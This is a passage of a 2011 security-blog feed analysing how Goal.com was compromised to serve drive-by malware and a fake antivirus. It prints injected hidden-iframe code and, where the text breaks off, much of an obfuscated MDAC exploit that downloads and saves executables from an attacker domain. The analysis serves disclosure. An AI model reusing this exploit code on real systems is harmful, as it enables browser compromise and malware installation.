src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/--ZudNTBsNHg/TdrxVDpLEiI/AAAAAAAACQE/SK1OdqVb_AI/s72-c/pron_hub_web_malware_drive_by_download.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-833991698286286760</id><published>2011-05-17T17:58:00.000-07:00</published><updated>2011-05-19T13:04:26.475-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Goal.com spreading malware again: "Security Shield" fake anti-virus</title><content type='html'>(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-1tSvUylJJwg/TdMxdKbLTfI/AAAAAAAACPc/894VMP4lGHM/s1600/goal_com_web_malware_fake_av_security_shield.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/-1tSvUylJJwg/TdMxdKbLTfI/AAAAAAAACPc/894VMP4lGHM/s1600/goal_com_web_malware_fake_av_security_shield.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5607880338090708466" /&gt;&lt;/a&gt;&lt;br /&gt;In our &lt;a href="http://blog.armorize.com/2011/05/goalcom-serving-malware.html"&gt;last post&lt;/a&gt; we researched Goal.com's infection and one of our conclusions were: "From what we've collected, parts of goal.com seem to have been compromised allowing the attacker to manipulate content at will. A backdoor may exist to allow the attacker continuous control of goal.com's content."&lt;br /&gt;&lt;br /&gt;That infection was eliminated from Goal.com a day later. However, &lt;a href="http://hackalert.armorize.com/"&gt;HackAlert&lt;/a&gt; just flagged a new infection, suggesting that the attacker should have a backdoor into Goal.com. This time, they've made Goal.com serve a fake anti-virus software called "Security Shield."&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Summary]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Behavior: Users visit Goal.com, and are served with malicious scripts residing on 31d6f5art8.co.be, which starts a drive-by download process that installs Security Shield into the vistors' machines, without having to trick the visitors into doing anything or clicking on anything. Simply visiting the page infects the visitors. Security Shield will continuously pop up fake alerts and launch browsers to open porn sites, and only stops after a "license" has been purchased. Rebooting will not remove this malware; it's installed in the victims' machines and will always execute.&lt;br /&gt;&lt;br /&gt;The exploit domain (a78hl7zv4p.co.be) only serves to each IP once.&lt;br /&gt;&lt;br /&gt;Very quickly after the initial publication of this post, the attacker quickly retired the above-mentioned pair of malicious domains, and used a new pair: zfdim0u06t.co.be and 4t7uxaxrg8.co.be. When we modified our blog again, they retired the new pair, and replaced with a third pair: uzldzzzeo3.co.be and zepa6hr6jk.co.be.&lt;br /&gt;&lt;br /&gt;Detection rates:&lt;br /&gt;The malicious domains include 31d6f5art8.co.be, a78hl7zv4p.co.be, zfdim0u06t.co.be, and 4t7uxaxrg8.co.be. None has been flagged by any of the 18 supported blacklists on urlvoid.com. As for Goal.com, &lt;a href="http://www.urlvoid.com/scan/goal.com"&gt; itself, the same--0 out of 18 vendors on urlvoid.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The binary executable for Security Shield triggered &lt;a href="http://www.virustotal.com/file-scan/report.html?id=089329aa3c9a379d90629f9edb796c6aad161a908cf377b79b0e72f02a0e62be-1305629011"&gt;only 6 out of 42 vendors&lt;/a&gt; on VirusTotal.&lt;br /&gt;&lt;br /&gt;Technique used:&lt;br /&gt;Drive-by download, attacker has control of Goal.com's content. Not malvertising.&lt;br /&gt;&lt;br /&gt;Below is a video of the entire infection process, from initially visiting goal.com, to later ending up with a fake antivirus on the system.&lt;br /&gt;&lt;iframe width="750" height="607" src="http://www.youtube.com/embed/SesxI2hzpvY?fs=1" frameborder="0" allowFullScreen=""&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;b&gt;[The Infection]&lt;/b&gt;&lt;br /&gt;The injection point was [http://www.goal.com/en], and the injected code was:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&lt;br /&gt;&amp;lt;div id="eplayer"&amp;gt;&lt;br /&gt;&amp;lt;style type="text/css"&amp;gt;#adtfd {width: 1px;height: 1px;frameborder: no;visibility: hidden;}&amp;lt;/style&amp;gt;&lt;br /&gt;&amp;lt;iframe id="adtfd" src="http://31d6f5art8.co.be/ad.jpg"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Which then generates and iframe to http://a78hl7zv4p.co.be/domains/buy, which then serves the exploit code. Upon successful exploitation, the browser process connects to the following URL format and downloads Security Shield:&lt;br /&gt;http://a78hl7zv4p.co.be/domains/bf02bde9910ff9be016eb48ac5a51043.php?thread_id=2&amp;f=63444537&amp;topic_id=buy&amp;&lt;br /&gt;&lt;br /&gt;Security Shield installs itself into the system and starts to show fake alerts and pop up browsers to open porn sites:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-ASDKuzQFdt0/TdNWDWDCc3I/AAAAAAAACPk/_WvsttpuGVk/s1600/goal_com_web_malware_fake_av_security_shield_installed.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; width:750px" src="http://1.bp.blogspot.com/-ASDKuzQFdt0/TdNWDWDCc3I/AAAAAAAACPk/_WvsttpuGVk/s1600/goal_com_web_malware_fake_av_security_shield_installed.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5607920576464319346" /&gt;&lt;/a&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-87mJFvctPt8/TdN1NilQgxI/AAAAAAAACP8/kEEQVqD4sGg/s1600/security_shield_infection.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width:750px" src="http://4.bp.blogspot.com/-87mJFvctPt8/TdN1NilQgxI/AAAAAAAACP8/kEEQVqD4sGg/s1600/security_shield_infection.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5607954836488225554" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;[The Detection]&lt;/b&gt;&lt;br /&gt;The binary executable for Security Shield triggered &lt;a href="http://www.virustotal.com/file-scan/report.html?id=089329aa3c9a379d90629f9edb796c6aad161a908cf377b79b0e72f02a0e62be-1305629011"&gt;only 6 out of 42 vendors&lt;/a&gt; on VirusTotal.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-0AITEozIpCM/TdNwFOIZTXI/AAAAAAAACPs/p2BGsMq7tlE/s1600/Goal_Com_drive_by_download_detection_rate.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/-0AITEozIpCM/TdNwFOIZTXI/AAAAAAAACPs/p2BGsMq7tlE/s1600/Goal_Com_drive_by_download_detection_rate.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5607949196001365362" /&gt;&lt;/a&gt;&lt;br /&gt;As for Goal.com, &lt;a href="http://www.urlvoid.com/scan/goal.com"&gt;0 out of 18 vendors&lt;/a&gt; on urlvoid.com has flagged them:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-d3SqlQvqtF4/TdNzHdSVYQI/AAAAAAAACP0/9bwXDE1C-Pw/s1600/url_void_goal_com_web_malware_drive_by_download.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-d3SqlQvqtF4/TdNzHdSVYQI/AAAAAAAACP0/9bwXDE1C-Pw/s1600/url_void_goal_com_web_malware_drive_by_download.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5607952532964204802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Goal.com receives 232,116 unique visitors per day according to &lt;a href="http://siteanalytics.compete.com/goal.com/"&gt;compete.com&lt;/a&gt;, 215,989 according to &lt;a href="http://www.checksitetraffic.com/traffic_spy/goal.com"&gt;checksitetraffic.com&lt;/a&gt;, and ranks 379 globally on &lt;a href="http://www.alexa.com/siteinfo/goal.com"&gt;alexa.com&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-833991698286286760?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/833991698286286760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/05/goalcom-spreading-malware-again.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/833991698286286760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/833991698286286760'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/05/goalcom-spreading-malware-again.html' title='Goal.com spreading malware again: &quot;Security Shield&quot; fake anti-virus'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-1tSvUylJJwg/TdMxdKbLTfI/AAAAAAAACPc/894VMP4lGHM/s72-c/goal_com_web_malware_fake_av_security_shield.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-7904709887110891358</id><published>2011-05-02T03:59:00.000-07:00</published><updated>2011-05-18T00:33:20.600-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Goal.com serving malware</title><content type='html'>(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)&lt;br /&gt;(Follow up post on &lt;a href="http://blog.armorize.com/2011/05/goalcom-spreading-malware-again.html"&gt;reinfection&lt;/a&gt; posted May 17th)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Dvqs2nT7HKk/Tb6QhMxwMWI/AAAAAAAACO0/4x83jfXHPNw/s1600/goal_com_drive_by_download_exploit.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/-Dvqs2nT7HKk/Tb6QhMxwMWI/AAAAAAAACO0/4x83jfXHPNw/s1600/goal_com_drive_by_download_exploit.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5602073886535463266" /&gt;&lt;/a&gt;&lt;br /&gt;Goal.com receives 232,116 unique visitors per day according to &lt;a href="http://siteanalytics.compete.com/goal.com/"&gt;compete.com&lt;/a&gt;, 215,989 according to &lt;a href="http://www.checksitetraffic.com/traffic_spy/goal.com"&gt;checksitetraffic.com&lt;/a&gt;, and ranks 379 globally on &lt;a href="http://www.alexa.com/siteinfo/goal.com"&gt;alexa.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Recently between April 27th to 28th, it was detected by HackAlert to be actively serving malware (drive-by downloads). From what we've observed, we believe the attacker has a way into goal.com's system and was only testing during this time. This is our technical report. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Summary]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;A. From what we've collected, parts of goal.com seem to have been compromised allowing the attacker to manipulate content at will. A backdoor may exist to allow the attacker continuous control of goal.com's content. &lt;br /&gt;&lt;br /&gt;B. During this time we've observed different malicious scripts injected into goal.com, leading us to believe that this isn't a one-time mass SQL injection attempt. We've also not found the injected content to appear in other websites.&lt;br /&gt;&lt;br /&gt;C. The malicious domains include:&lt;br /&gt;  1. pxcz.cz.cc, which is neither being flagged by any antivirus blacklist nor by &lt;a href="http://www.google.com/safebrowsing/diagnostic?site=pxcz.cz.cc"&gt;Google SafeBrowsing&lt;/a&gt;.&lt;br /&gt;  2. opofy7puti.cz.cc, which is neither being flagged by any antivirus blacklist nor by &lt;a href="http://www.google.com/safebrowsing/diagnostic?site=opofy7puti.cz.cc"&gt;Google SafeBrowsing&lt;/a&gt;.&lt;br /&gt;  3. justatest.cz.cc, which is neither being flagged by any antivirus blacklist nor by &lt;a href="http://www.google.com/safebrowsing/diagnostic?site=justatest.cz.cc"&gt;Google SafeBrowsing&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This further suggests that this is an attack targeted at goal.com&lt;br /&gt;&lt;br /&gt;D. Duration was between April 27th to 28th. The attacker seemed to be testing their injections and was picked up by our scanners.&lt;br /&gt;&lt;br /&gt;E. Browser exploits used during this "test-drive" included: &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1423"&gt;CVE-2010-1423&lt;/a&gt; (Java), &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1885"&gt;CVE-2010-1885&lt;/a&gt; (MS help center HCP), &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt; (PDF), and &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003"&gt;CVE-2006-0003&lt;/a&gt; (MS MDAC).&lt;br /&gt;&lt;br /&gt;F. The g01pack exploit pack was being used. It includes a fake admin page which is used as a honeynet for security researchers--to allow the attacker to observe who is studying their malicious domains.&lt;br /&gt;&lt;br /&gt;G. The exploit codes were well mutated. We don't mean well "obfuscated," because in addition to obfuscation, the primitive form of the exploit itself has been mutated well so as to avoid detection.&lt;br /&gt;&lt;br /&gt;H. Malware served was packed with UPX and modifies setupapi.dll and sfcfiles.dat. When we first submitted it to VirusTotal, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=9f8d7399d6985363c69273460312b9d28c365b6a8844c80cc310d72b002c2e97-1303955707"&gt;4 out of 41&lt;/a&gt; antivirus vendors were able to flag it.&lt;br /&gt;&lt;br /&gt;I. The malware connects to the following domains:&lt;br /&gt;&lt;br /&gt;  1. testurl.ipq.co:80 (in UK), which again, is neither flagged by any antivirus blacklist nor by &lt;a href="http://www.google.com/safebrowsing/diagnostic?site=testurl.ipq.co"&gt;Google SafeBrowsing&lt;/a&gt;&lt;br /&gt;  2. 74.125.47.99:80 (US), which reverses back to coldgold.co.uk, and which again, isn't blacklisted by any, including &lt;a href="http://www.google.com/safebrowsing/diagnostic?site=coldgold.co.uk"&gt;Google SafeBrowsing&lt;/a&gt;.&lt;br /&gt;Details:&lt;br /&gt;  3. banderlog.org, not flagged by anvirus / &lt;a href="http://www.google.com/safebrowsing/diagnostic?site=banderlog.org"&gt;Google SafeBrowsing&lt;/a&gt;, but has some records on &lt;a href="http://support.clean-mx.de/clean-mx/viruses.php?ip=127.0.0.1&amp;sort=first%20desc"&gt;clean-mx.de&lt;/a&gt;.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;b&gt;[Details]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;One of the infection logs can be &lt;a href="http://www.openwaves.net/goal_com_infection/goal_com_malware_infection.zip"&gt;downloaded here&lt;/a&gt;. It includes all the http traffic, from loading goal.com to downloading the PE malware binary.&lt;br /&gt;&lt;br /&gt;The chain of infection is:&lt;br /&gt;1. goal.com, includes iframe to pxcz.cz.cc&lt;br /&gt;2. pxcz.cz.cc iframes to justatest.cz.cc&lt;br /&gt;3. justatest.cz.cc runs the exploit pack g01pack, serves exploits based on visitor's browser type&lt;br /&gt;4. exploit compromises browser, downloads malware from justatest.cz.cc&lt;br /&gt;5. malware links to testurl.ipq.co (UK), 74.125.47.99:80 (US, coldgold.co.uk), and banderlog.org.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-bMyCmn0NSfQ/Tb7Rg08eo7I/AAAAAAAACPU/o-RwWkubW24/s1600/goal_com_infection_chain2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/-bMyCmn0NSfQ/Tb7Rg08eo7I/AAAAAAAACPU/o-RwWkubW24/s1600/goal_com_infection_chain2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5602145348393804722" /&gt;&lt;/a&gt;The infection started in http://www.goal.com/en/:&lt;br /&gt;&lt;pre class="brush: html;"&gt;&lt;br /&gt;&amp;lt;p&amp;gt;Arjen Robben has admitted that his future lies with the German and European giants, hinting that he could even remain there for the rest of his career &amp;lt;style type="text/css"&amp;gt;#yxvim {width: 1px;height: 1px;frameborder: no;visibility: hidden;}&amp;lt;/style&amp;gt;&amp;lt;iframe id="yxvim" src="http://pxcz.cz.cc/ad.jpg"&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The attacker injected an iframe at the end of the above HTML snippet, pointing to pxcz.cz.cc. pxcz.cz.cc contains another iframe pointing to justatest.cz.cc, which is both the exploit and the malware server, running g01pack. A unique feature of this exploit pack is the inclusion of a fake admin / stats page. This page supports common id / password combinations like admin / admin to trick security researchers into believing that they've obtained access to the exploit pack's admin page:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-kqIMC_gcojg/Tb7KnnBJ2PI/AAAAAAAACPE/IPmZZ8dQxC4/s1600/goal_com_g01pack_fake_admin.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/-kqIMC_gcojg/Tb7KnnBJ2PI/AAAAAAAACPE/IPmZZ8dQxC4/s1600/goal_com_g01pack_fake_admin.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5602137768333007090" /&gt;&lt;/a&gt;&lt;br /&gt;Once logged in, the researcher is presented with a fake infection stats page. In reality, this allows the attacker to gain insights into who has identified the malicious domain, and is conducting investigation.&lt;br /&gt;&lt;br /&gt;The exploit codes were well mutated. We don't mean well "obfuscated," because in addition to obfuscation, the primitive form of the exploit itself has been mutated well so as to avoid detection. Since it's an exploit pack, there's too many exploits to post them all here. We've posted on version here, which is the MDAC exploit. If interested, you can download one of the infection logs &lt;a href="http://www.openwaves.net/goal_com_infection/goal_com_malware_infection.zip"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;pre class="brush: html;"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;en clonus purins knot ghat inlier sine bipeds obese tart.&amp;lt;body&amp;gt;heroins pallors glugs. Opera. Pyx ducted boss shea abele knot hajes eh moot nisi tickled howl pangens bobs blind stir reinked ajee.atria obese saddle. Nisi uh bracts pyx.bipeds abaft arctic brave arabic purins blind polo. Pyx pallors. Sludge atria noisy bug slojd stow dumps. Kappa sri tawse bracts hank.fresco delta. Caldron arctic bucko sine byre inlier haeres.&amp;lt;script&amp;gt;&lt;br /&gt;&lt;br /&gt;var test;&lt;br /&gt;&lt;br /&gt;function redirect(){&lt;br /&gt;location.href="?topic_id=6.0&amp;forum_id=qtest&amp;action=MSIE&amp;nid=name&amp;year=c&amp;start=2&amp;thread_id=53585053&amp;rid=708";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;setTimeout(redirect, 20000);&lt;br /&gt;&lt;br /&gt;var move=new String("openul0".substr(0,4));&lt;br /&gt;var out=["ctfmon",String("javaWI8X".substr(0,4)),new String("acro"+"bat"),new String("explore"+"rC52".substr(0,1)),String("useri"+"nit"),"chromeHkpS".substr(0,6),"svch"+"ostc"];&lt;br /&gt;var follow="Sav"+"eTo"+"Fil"+"e";&lt;br /&gt;var air;&lt;br /&gt;var family=1;&lt;br /&gt;var low=6000;&lt;br /&gt;var never=";";&lt;br /&gt;var now=String("setTimeout");&lt;br /&gt;var sun=0;&lt;br /&gt;var age="";&lt;br /&gt;var turn=[];&lt;br /&gt;var have=["spellOver","play","cross"];this.few=29107;this.few-=150;&lt;br /&gt;var begin;&lt;br /&gt;var useDrive="clsid:BD9oqk".substr(0,9)+"6C556-65ANEm".substr(0,9)+"3-11D0-98rWqE".substr(0,9)+"3A-00C04F"+"ZuqC29E36uqZ".substr(3,6);&lt;br /&gt;&lt;br /&gt;var stay=new String("she"+"lle"+"xec"+"ute");&lt;br /&gt;var then=new String("replaceUyK".substr(0,7));&lt;br /&gt;&lt;br /&gt;var once=new String("typeUdm".substr(0,4));&lt;br /&gt;var ground=["youUnder","home","base"];&lt;br /&gt;var own=new String();&lt;br /&gt;var meLittle="setAttrT2hF".substr(0,7)+"ibute5MEY".substr(0,5);&lt;br /&gt;var will=new String("pus5ceI".substr(0,3)+"9BUhU9B".substr(3,1));&lt;br /&gt;var most=2;&lt;br /&gt;var best="send";&lt;br /&gt;&lt;br /&gt;var teachSeem="";var star="";try {} catch(mark){};&lt;br /&gt;var strong;&lt;br /&gt;var bed="Close";&lt;br /&gt;var end="Wri"+"te";&lt;br /&gt;var pass="http://opofy7puti.cz.cc:80/domains/f848af41f9d81c1603fb52a6b7844642.php?start=12&amp;thread_id=53585053&amp;forum_id=qtest&amp;";&lt;br /&gt;&lt;br /&gt;var readAmong="CreateObjec"+"t";&lt;br /&gt;var redDog="responseBo"+"dyck4".substr(0,2);&lt;br /&gt;&lt;br /&gt;function oh(){&lt;br /&gt;&lt;br /&gt;sea=[];want=18559;want++;&lt;br /&gt;try {var book="ourPiece"} catch(book){};var they="";come=["northTurn","set","above"];&lt;br /&gt;change={};&lt;br /&gt;&lt;br /&gt;if(pass.indexOf(never) &amp;gt; -1){&lt;br /&gt;var groundMight=new Array();this.strongLess=978;this.strongLess++;call={word:10445};&lt;br /&gt;var writeHim=["comeWould"];&lt;br /&gt;var serve="";var stopYes="";hand=25269;hand-=192;&lt;br /&gt;&lt;br /&gt;school = pass.split(never);&lt;br /&gt;var good={his:20957};var turnBoy=false;this.travel="travel";&lt;br /&gt;add=16993;add--;var should="";&lt;br /&gt;for(var i in school){&lt;br /&gt;&lt;br /&gt;var govern="";this.airMark=false;&lt;br /&gt;place=27537;place-=204;try {var run="familyCommon"} catch(run){};var yetNeed=new String();&lt;br /&gt;var quick = school[i][then](/^\s+|\s+$/g, age); &lt;br /&gt;var music="";this.plant=459;this.plant-=142;var underHad="";&lt;br /&gt;fall={};yetFarm=6780;yetFarm-=19;var shape=29557;&lt;br /&gt;if(quick != age){&lt;br /&gt;var make=false;var their={high:"down"};plane={yes:"front"};&lt;br /&gt;turn[will](quick);&lt;br /&gt;wood={blue:8491};ohEat=17592;ohEat+=255;this.road="road";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;} else {&lt;br /&gt;var thereLarge=new String();var yesWheel=new String();&lt;br /&gt;var saw=["shortSleep","stayCommon","heard"];this.yourLeave="yourLeave";var table=23075;&lt;br /&gt;turn[will](pass);&lt;br /&gt;var turnYet="turnYet";var friendPound={newBody:"studyNotice"};&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;dryCity={callChange:16908};&lt;br /&gt;this.passPeople=8404;this.passPeople--;&lt;br /&gt;var drive=[];var able="";var willTake="willTake";&lt;br /&gt;&lt;br /&gt;return turn;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var foodThough=new String();try {} catch(veryStrong){};&lt;br /&gt;this.moveEarth=7491;this.moveEarth+=102;&lt;br /&gt;this.someOpen=26120;this.someOpen++;&lt;br /&gt;&lt;br /&gt;function than(again, point){&lt;br /&gt;life=["simple"];knowGround=24748;knowGround--;&lt;br /&gt;figureFigure=30877;figureFigure-=200;var does=new String();var sleepFace=["orWalk","inch","cold"];&lt;br /&gt;yourSlow=775;yourSlow+=122;what=[];a=21635;a+=166;&lt;br /&gt;&lt;br /&gt;test[meLittle](again, point);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;northBeauty={watch:"fewLove"};var line={};&lt;br /&gt;var head=22943;var piece=32549;&lt;br /&gt;&lt;br /&gt;function the(){&lt;br /&gt;&lt;br /&gt;var pose=20499;var frontCross=4606;&lt;br /&gt;ago=7777;ago+=220;&lt;br /&gt;&lt;br /&gt;if(!free()) return;&lt;br /&gt;&lt;br /&gt;serveWell=25614;serveWell++;objectWorld=24863;objectWorld-=114;darkCommon=22684;darkCommon++;&lt;br /&gt;var willPerson=new Array();&lt;br /&gt;&lt;br /&gt;test=document.createElement(new String("object"));&lt;br /&gt;&lt;br /&gt;than(new String("classi"+"d"), useDrive);&lt;br /&gt;var moveEarly="moveEarly";this.moonHome="";&lt;br /&gt;bedPower={since:false};&lt;br /&gt;than("id", "test");&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;&lt;br /&gt;strong = test[readAmong]("Shell.A9kDj".substr(0,7)+"DH0pplicat0HD".substr(3,7)+"MrbionMbr".substr(3,3),age);&lt;br /&gt;find=[];this.learn="";hold=[];&lt;br /&gt;air = test[readAmong]("adodb.strea"+"mnXk".substr(0,1),age);&lt;br /&gt;this.why=19607;this.why++;var rest=new Date();var him="";&lt;br /&gt;&lt;br /&gt;var turn = oh();&lt;br /&gt;&lt;br /&gt;this.differ="differ";var sawAmong=["moneyAt","moreA","boyMuch"];var stopSun=["letter","pound","young"];&lt;br /&gt;var sideHeat=["white","spellAbove"];var thoseFirst=["northFact","needCome"];doesRock=17386;doesRock--;&lt;br /&gt;if(turn.length &amp;lt;= 0) return false;&lt;br /&gt;&lt;br /&gt;which=["i","took","fish"];&lt;br /&gt;agoOld=["laughOften","seemOrder","figureGreen"];var runHalf={cut:27153};var schoolOut=["differGot","wonder","poseNotice"];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for(var i=sun; i &amp;lt; turn.length; i++){&lt;br /&gt;&lt;br /&gt;var fromLong=new Date();&lt;br /&gt;&lt;br /&gt;var haveSlow=new String();var ifCover=["finalDone","againOnly"];&lt;br /&gt;var unitIt=[];pullTown={leadOut:"deepMade"};var decide=[];&lt;br /&gt;this.both=22541;this.both++;&lt;br /&gt;var unit = out[i % out.length];&lt;br /&gt;var enough = turn[i];&lt;br /&gt;&lt;br /&gt;goodDrive={water:"cry"};secondCenter=[];var endDiffer=false;&lt;br /&gt;var your = "./."+"./yzvw".substr(0,2) + unit + new String(".exe");&lt;br /&gt;this.dont=18287;this.dont--;try {var faceAppear="fewReal"} catch(faceAppear){};&lt;br /&gt;var voicePoint=low * i;&lt;br /&gt;var shortPlane=["heatRule"];var knew="";&lt;br /&gt;try {var shapeCause="ageHave"} catch(shapeCause){};dryLook=[];&lt;br /&gt;meanFar(new String(enough), new String(your));&lt;br /&gt;var right=23685;try {} catch(feel){};try {} catch(hisTree){};&lt;br /&gt;var had=new Date();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;} catch(e){}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function longSaid(stoodTree){&lt;br /&gt;&lt;br /&gt;planeIt={};&lt;br /&gt;var shouldSide=8362;northAmong={faceMade:false};var windReal="windReal";&lt;br /&gt;cutOften=["riverPiece","orderWater","commonLay"];nowSay=["bodyAlso"];&lt;br /&gt;&lt;br /&gt;begin = test[readAmong]("msxml2.XMLO4eW".substr(0,10)+"HTTP", age);&lt;br /&gt;&lt;br /&gt;var planeTop=new Date();&lt;br /&gt;whichThem={shipSame:26359};var fatherIdea=24125;var there=16243;&lt;br /&gt;begin[move]("GET", stoodTree);&lt;br /&gt;asAmong=["seaFew"];whileRun=["warDrive"];this.feetSing=7842;this.feetSing--;&lt;br /&gt;begin[best]();&lt;br /&gt;var thatWhen="thatWhen";this.hisNever="hisNever";story=9303;story+=10;&lt;br /&gt;&lt;br /&gt;return begin[redDog];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function free(){&lt;br /&gt;var thereWrite={strongPaper:false};&lt;br /&gt;this.keepLot="";&lt;br /&gt;return (document.body.style.textOverflow != undefined);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function meanFar(stoodTree,color){&lt;br /&gt;&lt;br /&gt;var wentMother=["turnTalk","staySleep","she"];this.largeRed=28365;this.largeRed-=184;eat=["atMove"];&lt;br /&gt;var found={shouldPlay:"figureStep"};&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;var standMother=3260;toward=26805;toward++;&lt;br /&gt;var actPress="";try {var work="lightCold"} catch(work){};&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;var other=new Date();var rainTable=28788;&lt;br /&gt;air[bed]();&lt;br /&gt;this.coldMake="coldMake";fatherUs=["andFast","hour"];&lt;br /&gt;} catch(stand){}&lt;br /&gt;&lt;br /&gt;this.lastTheir=29388;this.lastTheir--;var downStrong={topWas:11226};try {var answerWater="servePaper"} catch(answerWater){};&lt;br /&gt;power=longSaid(stoodTree);&lt;br /&gt;peopleHad=["kingRiver"];this.house=4015;this.house++;&lt;br /&gt;air[once]=family;&lt;br /&gt;cameWho={hasEye:"bringForce"};foodEast=["feetThat","shortHave"];&lt;br /&gt;air[move]();&lt;br /&gt;happenUs=["fewMany","butWell"];var helpRound=27891;&lt;br /&gt;air[end](power);&lt;br 